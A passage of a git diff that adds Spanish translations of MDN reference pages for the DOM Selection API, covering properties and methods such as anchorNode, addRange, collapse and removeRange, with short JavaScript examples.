+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/selection/addrange/index.html b/files/es/web/api/selection/addrange/index.html
new file mode 100644
index 0000000000..a684954e9c
--- /dev/null
+++ b/files/es/web/api/selection/addrange/index.html
@@ -0,0 +1,46 @@
+---
+title: addRange
+slug: Web/API/Selection/addRange
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/addRange
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Añade un objeto de rango a la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.addRange(
+<i>range</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>range</code></i>
+ </dt>
+ <dd>Un objeto <a href="es/DOM/range">range</a> que será añadido a la selección.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"> /* Seleccionar todos los elementos en NEGRITA en un documento HTML */
+ var strongs = document.getElementsByTagName("strong");
+ var s = window.getSelection();
+ if(s.rangeCount &gt; 0) s.removeAllRanges();
+ for(var i = 0; i &lt; strongs.length; i++) {
+  var range = document.createRange();
+  range.selectNode(strongs[i]);
+  s.addRange(range);
+ }
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/addRange", "it": "it/DOM/Selection/addRange", "pl": "pl/DOM/Selection/addRange" } ) }}</p>
diff --git a/files/es/web/api/selection/anchornode/index.html b/files/es/web/api/selection/anchornode/index.html
new file mode 100644
index 0000000000..dcb4b194b0
--- /dev/null
+++ b/files/es/web/api/selection/anchornode/index.html
@@ -0,0 +1,27 @@
+---
+title: anchorNode
+slug: Web/API/Selection/anchorNode
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/anchorNode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nodo en el cual empieza la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.anchorNode
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Un usuario puede hacer una selección de izquierda a derecha (en el orden del documento) o de derehca a izquierda (en el orden contrario del documento). El ancla es donde el usuario empezó la selección. Ésta puede ser visualizada manteniendo presionada la tecla <b>Shift</b> y presionando las flechas de movimiento del teclado. El ancla de la selección no se mueve, pero el foco de ésta (el otro "final" de la selección) sí se mueve.</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/anchorNode", "it": "it/DOM/Selection/anchorNode", "pl": "pl/DOM/Selection/anchorNode" } ) }}</p>
diff --git a/files/es/web/api/selection/anchoroffset/index.html b/files/es/web/api/selection/anchoroffset/index.html
new file mode 100644
index 0000000000..e228803085
--- /dev/null
+++ b/files/es/web/api/selection/anchoroffset/index.html
@@ -0,0 +1,27 @@
+---
+title: anchorOffset
+slug: Web/API/Selection/anchorOffset
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/anchorOffset
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el número de caracteres en que el ancla de la selección es colocada dentro de <a href="es/DOM/Selection/anchorNode">anchorNode</a>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.anchorOffset
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Este número está basado en cero. Si la selección empieza con el primer carácter en <a href="es/DOM/Selection/anchorNode">anchorNode</a>, el número devuelto será 0.</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/anchorOffset", "it": "it/DOM/Selection/anchorOffset", "pl": "pl/DOM/Selection/anchorOffset" } ) }}</p>
diff --git a/files/es/web/api/selection/collapse/index.html b/files/es/web/api/selection/collapse/index.html
new file mode 100644
index 0000000000..a0540265c3
--- /dev/null
+++ b/files/es/web/api/selection/collapse/index.html
@@ -0,0 +1,50 @@
+---
+title: collapse
+slug: Web/API/Selection/collapse
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/collapse
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Pliega la selección a un simple punto. El documento no es modificado. Si el contenido es enfocado y editable, el cursor parpadeará ahí.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.collapse(
+<i>parentNode</i>,
+<i>offset</i>);
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>parentNode</code></i>
+ </dt>
+ <dd>La localización del cursor estará dentro de este nodo.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <i><code>offset</code></i>
+ </dt>
+ <dd>El cursor estará colocado éste número de caracteres desdel el comienzo del texto de
+ <i><code>parentNode</code>'</i>
+ s text.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">/* Colocar el cursor al principio del cuerpo de un documento HTML. */
+var body = document.getElementsByTagName("body")[0];
+window.getSelection().collapse(body,0);
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/collapse", "it": "it/DOM/Selection/collapse", "pl": "pl/DOM/Selection/collapse" } ) }}</p>
diff --git a/files/es/web/api/selection/collapsetoend/index.html b/files/es/web/api/selection/collapsetoend/index.html
new file mode 100644
index 0000000000..f0f729b928
--- /dev/null
+++ b/files/es/web/api/selection/collapsetoend/index.html
@@ -0,0 +1,27 @@
+---
+title: collapseToEnd
+slug: Web/API/Selection/collapseToEnd
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/collapseToEnd
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Traslada el ancla hasta el mismo punto del foco. El foco no se mueve. Si el contenido es enfocado y editable, el cursor parpadeará ahí.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.collapseToEnd()
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/collapseToEnd", "it": "it/DOM/Selection/collapseToEnd", "pl": "pl/DOM/Selection/collapseToEnd" } ) }}</p>
diff --git a/files/es/web/api/selection/collapsetostart/index.html b/files/es/web/api/selection/collapsetostart/index.html
new file mode 100644
index 0000000000..ce04e7a985
--- /dev/null
+++ b/files/es/web/api/selection/collapsetostart/index.html
@@ -0,0 +1,29 @@
+---
+title: collapseToStart
+slug: Web/API/Selection/collapseToStart
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/collapseToStart
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Traslada el foco de la selección al mismo punto que el ancla. El ancla no se mueve. Si el contenido es enfocado y editable, el cursor parpadeará ahí.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.collapseToStart()
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/collapseToStart", "it": "it/DOM/Selection/collapseToStart", "pl": "pl/DOM/Selection/collapseToStart" } ) }}</p>
diff --git a/files/es/web/api/selection/containsnode/index.html b/files/es/web/api/selection/containsnode/index.html
new file mode 100644
index 0000000000..272c7e71af
--- /dev/null
+++ b/files/es/web/api/selection/containsnode/index.html
@@ -0,0 +1,49 @@
+---
+title: containsNode
+slug: Web/API/Selection/containsNode
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/containsNode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Indica si tal nodo es parte de la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.containsNode(
+<i>aNode</i>,
+<i>aPartlyContained</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>aNode</code></i>
+ </dt>
+ <dd>El nodo que está siendo vigilado por si es parte de la selección.</dd>
+ <dt>
+ <i><code>aPartlyContained</code></i>
+ </dt>
+ <dd>Cuando da un valor
+ <i>verdadero</i>
+ , <code>containsNode</code> devuelve verdadero cuanbdo una parte del nodo es parte de la selección.</dd>
+ <dd>Cuando da un valor
+ <i>falso</i>
+ , <code>containsNode</code> solo devuelve verdadeor cuando el nodo completo es parte de la selección.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"> /* Checar si algo dentro del elemento cuerpo (etiquetas body) está seleccionado */
+ alert(window.getSelection().containsNode(document.body, true));
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/containsNode", "it": "it/DOM/Selection/containsNode", "pl": "pl/DOM/Selection/containsNode" } ) }}</p>
diff --git a/files/es/web/api/selection/deletefromdocument/index.html b/files/es/web/api/selection/deletefromdocument/index.html
new file mode 100644
index 0000000000..808461dba4
--- /dev/null
+++ b/files/es/web/api/selection/deletefromdocument/index.html
@@ -0,0 +1,31 @@
+---
+title: deleteFromDocument
+slug: Web/API/Selection/deleteFromDocument
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/deleteFromDocument
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Elimina del documento el contenido de la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.deleteFromDocument()
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>Un usuario selecciona el texto (imaginario) "jos tienen do" del texto "Los conejos tienen dos orejas." en una página web. Después el usuario da click en un botón que ejecuta la acción cortar de JavaScript <code>window.getSelection().deleteFromDocument()</code>. El texto del documento quedaría como "Los cones orejas."</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/deleteFromDocument", "it": "it/DOM/Selection/deleteFromDocument", "pl": "pl/DOM/Selection/deleteFromDocument" } ) }}</p>
diff --git a/files/es/web/api/selection/extend/index.html b/files/es/web/api/selection/extend/index.html
new file mode 100644
index 0000000000..d4c0315631
--- /dev/null
+++ b/files/es/web/api/selection/extend/index.html
@@ -0,0 +1,41 @@
+---
+title: extend
+slug: Web/API/Selection/extend
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/extend
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Traslada el foco de la selección a un punto especificado. El ancla de la selección no se mueve. La selección será desde el ancla hasta el nuevo focus regardless of direction.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.extend(
+<i>parentNode</i>,
+<i>offset</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>parentNode</code></i>
+ </dt>
+ <dd>El nodo dentro del cual el foco será movido.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <i><code>offset</code></i>
+ </dt>
+ <dd>El número de caracteres que habrá desde el principio del texto
+ <i><code>parentNode</code></i>
+ hasta donde el foco se colocará.</dd>
+</dl>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/extend", "it": "it/DOM/Selection/extend", "pl": "pl/DOM/Selection/extend" } ) }}</p>
diff --git a/files/es/web/api/selection/focusnode/index.html b/files/es/web/api/selection/focusnode/index.html
new file mode 100644
index 0000000000..6ccaae09fe
--- /dev/null
+++ b/files/es/web/api/selection/focusnode/index.html
@@ -0,0 +1,25 @@
+---
+title: focusNode
+slug: Web/API/Selection/focusNode
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/focusNode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nudo en el cual acaba la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.focusNode
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Un usuario puede hacer una selección de izquierda a derecha (en el orden del documento) o de derehca a izquierda (en el orden contrario del documento). El foco es donde el usuario terminó la selección. Éste puede ser visualizado manteniendo presionada la tecla Shift y presionando las flechas de movimiento del teclado para modificar la selección. El foco de la selección se mueve, pero el ancla de ésta (el otro final de la selección) no se mueve.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/focusNode", "it": "it/DOM/Selection/focusNode", "pl": "pl/DOM/Selection/focusNode" } ) }}</p>
diff --git a/files/es/web/api/selection/focusoffset/index.html b/files/es/web/api/selection/focusoffset/index.html
new file mode 100644
index 0000000000..88f525f887
--- /dev/null
+++ b/files/es/web/api/selection/focusoffset/index.html
@@ -0,0 +1,27 @@
+---
+title: focusOffset
+slug: Web/API/Selection/focusOffset
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/focusOffset
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el número de caracteres en que el foco de la selección es colocado dentro de <a href="es/DOM/Selection/focusNode">focusNode</a>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.focusOffset
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Este número está basado en cero. Si la selección termina con el primer carácter en <a href="es/DOM/Selection/focusNode">focusNode</a>, el número devuelto será 0.</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/focusOffset", "it": "it/DOM/Selection/focusOffset", "pl": "pl/DOM/Selection/focusOffset" } ) }}</p>
diff --git a/files/es/web/api/selection/getrangeat/index.html b/files/es/web/api/selection/getrangeat/index.html
new file mode 100644
index 0000000000..db0505dd77
--- /dev/null
+++ b/files/es/web/api/selection/getrangeat/index.html
@@ -0,0 +1,49 @@
+---
+title: getRangeAt
+slug: Web/API/Selection/getRangeAt
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/getRangeAt
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve un objeto de rango representando uno de los rangos seleccionados.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>range</i> =
+<i>sel</i>.getRangeAt(
+<i>index</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>range</code></i>
+ </dt>
+ <dd>El objeto <a href="es/DOM/range">range</a> (rango) que será devuelto.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <i><code>index</code></i>
+ </dt>
+ <dd>El exponente (basado en cero) del rango a devolver. Un número negativo o un número mayor o igual a <a href="es/DOM/Selection/rangeCount">rangeCount</a> provocará un error.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">ranges = [];
+sel = window.getSelection();
+for(var i = 0; i &lt; sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Cada artículo en el array de rangos ahora es
+ * un objeto rango representando uno de los
+ * rangos en la selección */
+</pre>
+
+<p>{{ languages( { "en": "en/DOM/Selection/getRangeAt", "pl": "pl/DOM/Selection/getRangeAt" } ) }}</p>
diff --git a/files/es/web/api/selection/index.html b/files/es/web/api/selection/index.html
new file mode 100644
index 0000000000..d267e3b16b
--- /dev/null
+++ b/files/es/web/api/selection/index.html
@@ -0,0 +1,105 @@
+---
+title: Selection
+slug: Web/API/Selection
+tags:
+  - DOM
+  - Todas_las_Categorías
+translation_of: Web/API/Selection
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+
+<p>Selección es la clase de objeto devuelto por <code><a href="es/DOM/window.getSelection"> window.getSelection()</a></code> y otros métodos.</p>
+
+<p>Un objeto de selección representa los <a href="es/DOM/range">rangos</a> que el usuario ha seleccionado. Suele llevar un sólo rango, accesado como sigue:</p>
+
+<pre class="eval">range = sel.getRangeAt(0);
+</pre>
+
+<p>Llamar al método <code><a href="es/DOM/Selection/toString">toString()</a></code> devuelve el texto contenido en la selección, ej:</p>
+
+<pre class="eval">selObj = window.getSelection();
+window.alert(selObj.toString());
+</pre>
+
+<p> </p>
+
+<h3 id="Glosario" name="Glosario">Glosario</h3>
+
+<p>Otros términos claves usados en esta parte.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>El ancla de una selección es el punto inicial de ésta. Cuando se hace una selección con el ratón, el ancla es el punto donde se presionó por primera vez el botón del ratón. Cuando el usuario mueve la selección utilizando el ratón o el teclado, el ancla no se mueve.</dd>
+ <dt>focus</dt>
+ <dd>El foco de una selección es el punto último de ésta. Cuando se hace la selección con el ratón, el foco es el punto donde se suelta el botón del ratón. Cuando el usuario mueve la selección utilizando el "mouse" o el teclado, el foco es el final de la selección que el usuario está moviendo.</dd>
+ <dt>range</dt>
+ <dd>Un rango es una parte contigua de un documento. Un rango puede contener un nodo entero así como porciones de nodos, por ejemplo una parte de un nodo de texto. Normalmente un usuario seleccionará únicamente un solo rango a la vez, pero también le es posible seleccionar múltiples rangos (por ejemplo, utilizando la tecla control<em>Ctrl</em> ). Un rango puede ser recuperado de una selección como un objeto de <a href="es/DOM/range">rango</a>. Los objetos de rango también pueden ser creados vía el DOM y programadamente adheridos o removidos de una selección.</dd>
+</dl>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<dl>
+ <dt><a href="es/DOM/Selection/anchorNode">anchorNode</a></dt>
+ <dd>Devuelve el nodo en el cual empieza la selección.</dd>
+ <dt><a href="es/DOM/Selection/anchorOffset">anchorOffset</a></dt>
+ <dd>Devuelve el número de caracteres en que el ancla de la selección es colocada dentro de <code>anchorNode.</code></dd>
+ <dt><a href="es/DOM/Selection/focusNode">focusNode</a></dt>
+ <dd>Devuelve el nodo en el cual acaba la selección.</dd>
+ <dt><a href="es/DOM/Selection/focusOffset">focusOffset</a></dt>
+ <dd>Devuelve el número de caracteres en que el foco de la selección es colocado dentro de <code>focusNode.</code></dd>
+ <dt><a href="es/DOM/Selection/isCollapsed">isCollapsed</a></dt>
+ <dd>Devuelve un valor boleano verdadero si los puntos de inicio y fin de la selección están en la misma posición.</dd>
+ <dt><a href="es/DOM/Selection/rangeCount">rangeCount</a></dt>
+ <dd>Devuelve el número de los rangos que hay en la selección.</dd>
+</dl>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<dl>
+ <dt><a href="es/DOM/Selection/getRangeAt">getRangeAt</a></dt>
+ <dd>Devuelve un objeto de rango representando uno de los rangos seleccionados.</dd>
+ <dt><a href="es/DOM/Selection/collapse">collapse</a></dt>
+ <dd>Pliega la selección a un simple punto.</dd>
+ <dt><a href="es/DOM/Selection/extend">extend</a></dt>
+ <dd>Traslada el foco de la selección a un punto especificado.</dd>
+ <dt><a href="es/DOM/Selection/collapseToStart">collapseToStart</a></dt>
+ <dd>Traslada el foco de la selección al mismo punto que el ancla.</dd>
+ <dt><a href="es/DOM/Selection/collapseToEnd">collapseToEnd</a></dt>
+ <dd>Traslada el ancla hasta el mismo punto del foco. El foco no se mueve.</dd>
+ <dt><a href="es/DOM/Selection/selectAllChildren">selectAllChildren</a></dt>
+ <dd>Añadirá todos los "hijos" del nodo especificado a la selección.</dd>
+ <dt><a href="es/DOM/Selection/addRange">addRange</a></dt>
+ <dd>Añade un objeto de rango a la selección.</dd>
+ <dt><a href="es/DOM/Selection/removeRange">removeRange</a></dt>
+ <dd>Quita un rango de la selección.</dd>
+ <dt><a href="es/DOM/Selection/removeAllRanges">removeAllRanges</a></dt>
+ <dd>Quita todos los rangos de la selección.</dd>
+ <dt><a href="es/DOM/Selection/deleteFromDocument">deleteFromDocument</a></dt>
+ <dd>Elimina del documento el contenido de la selección.</dd>
+ <dt><a href="es/DOM/Selection/selectionLanguageChange">selectionLanguageChange</a></dt>
+ <dd>NO IMPLEMENTADA, Cambia la direccion de la seleccion de Izquierda a Derecha a Derecha a Izquierda</dd>
+ <dt><a href="es/DOM/Selection/toString">toString</a></dt>
+ <dd>Devuelve una cadena de caracteres (texto), la cual es representada por el objeto de selección, es decir, el texto seleccionado.</dd>
+ <dt><a href="es/DOM/Selection/containsNode">containsNode</a></dt>
+ <dd>Indica si tal nodo es parte de la selección.</dd>
+</dl>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="es/DOM/window.getSelection">window.getSelection</a>, <a href="es/DOM/range">Rango</a></p>
+
+<h3 id="Enlaces_externos" name="Enlaces_externos">Enlaces externos</h3>
+
+<ul>
+ <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl">IDL definition in Mozilla cross-reference</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection", "fr": "fr/DOM/selection", "it": "it/DOM/Selection", "ja": "ja/DOM/selection", "pl": "pl/DOM/Selection" } ) }}</p>
diff --git a/files/es/web/api/selection/iscollapsed/index.html b/files/es/web/api/selection/iscollapsed/index.html
new file mode 100644
index 0000000000..230c9f147d
--- /dev/null
+++ b/files/es/web/api/selection/iscollapsed/index.html
@@ -0,0 +1,25 @@
+---
+title: isCollapsed
+slug: Web/API/Selection/isCollapsed
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/isCollapsed
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve un valor boleano verdadero si los puntos de inicio y fin de la selección están en la misma posición.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.isCollapsed
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Incluso hasta una selección colapsada/plegada puede tener un rangeCount mayor que 0. <code>sel.getRangeAt(0)</code> puede retornar un rango que también esté colapsado/plegado.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/isCollapsed", "it": "it/DOM/Selection/isCollapsed", "pl": "pl/DOM/Selection/isCollapsed" } ) }}</p>
diff --git a/files/es/web/api/selection/rangecount/index.html b/files/es/web/api/selection/rangecount/index.html
new file mode 100644
index 0000000000..fb39e6be07
--- /dev/null
+++ b/files/es/web/api/selection/rangecount/index.html
@@ -0,0 +1,28 @@
+---
+title: rangeCount
+slug: Web/API/Selection/rangeCount
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/rangeCount
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el número de los rangos que hay en la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.rangeCount
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Antes de que el usuario haya hecho
+ <i>click</i>
+ en una página recién cargada, el <code>rangeCount</code> es 0. Un usuario normalmente puede seleccionar un rango a la vez, entonces el <code>rangeCount</code> usualmente será 1. El
+
+ <i>scripting</i>
+ puede usarse para hacer que la selección contenga más de 1 rango.</p>
+
+<p>{{ languages( { "en": "en/DOM/Selection/rangeCount", "it": "it/DOM/Selection/rangeCount", "pl": "pl/DOM/Selection/rangeCount" } ) }}</p>
diff --git a/files/es/web/api/selection/removeallranges/index.html b/files/es/web/api/selection/removeallranges/index.html
new file mode 100644
index 0000000000..5c8ad3f311
--- /dev/null
+++ b/files/es/web/api/selection/removeallranges/index.html
@@ -0,0 +1,27 @@
+---
+title: removeAllRanges
+slug: Web/API/Selection/removeAllRanges
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/removeAllRanges
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Quita todos los rangos de la selección, dejando las propiedades <a href="es/DOM/Selection/anchorNode">anchorNode</a> y <a href="es/DOM/Selection/focusNode">focusNode</a> con un valor <code>null</code> (nulo) y dejando nada seleccionado.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.removeAllRanges();
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/removeAllRanges", "it": "it/DOM/Selection/removeAllRanges", "pl": "pl/DOM/Selection/removeAllRanges" } ) }}</p>
diff --git a/files/es/web/api/selection/removerange/index.html b/files/es/web/api/selection/removerange/index.html
new file mode 100644
index 0000000000..fa617c49b9
--- /dev/null
+++ b/files/es/web/api/selection/removerange/index.html
@@ -0,0 +1,45 @@
+---
+title: removeRange
+slug: Web/API/Selection/removeRange
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/removeRange
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Quita un rango de la selección.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.removeRange(
+<i>range</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>range</code></i>
+ </dt>
+ <dd>Un objeto rango que será eliminado de la selección.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">/* Programadamente, mas de un rango puede ser seleccionado.
+ * Esto eliminará todos los rangos excepto el primero. */
+s = window.getSelection();
+if(s.rangeCount &gt; 1) {
+ for(var i = 1; i &lt; s.rangeCount; i++) {
+  s.removeRange(s.getRangeAt(i));
+ }
+}
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/removeRange", "it": "it/DOM/Selection/removeRange", "pl": "pl/DOM/Selection/removeRange" } ) }}</p>
diff --git a/files/es/web/api/selection/selectallchildren/index.html b/files/es/web/api/selection/selectallchildren/index.html
new file mode 100644
index 0000000000..5f824dc200
--- /dev/null
+++ b/files/es/web/api/selection/selectallchildren/index.html
@@ -0,0 +1,45 @@
+---
+title: selectAllChildren
+slug: Web/API/Selection/selectAllChildren
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/selectAllChildren
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Añadirá todos los "hijos" del nodo especificado a la selección. La selección previa se pierde.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>sel</i>.selectAllChildren(
+<i>parentNode</i>)
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt>
+ <i><code>parentNode</code></i>
+ </dt>
+ <dd>Todos los "hijos" de
+ <i><code>parentNode</code></i>
+ serán seleccionados. El mismo
+
+ <i><code>parentNode</code></i>
+ no es parte de la selección.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">footer = document.getElementById("footer");
+window.getSelection().selectAllChildren(footer);
+/* Todo el contendio del pie de página ahora está seleccionado */
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/selectAllChildren", "it": "it/DOM/Selection/selectAllChildren", "pl": "pl/DOM/Selection/selectAllChildren" } ) }}</p>
diff --git a/files/es/web/api/selection/tostring/index.html b/files/es/web/api/selection/tostring/index.html
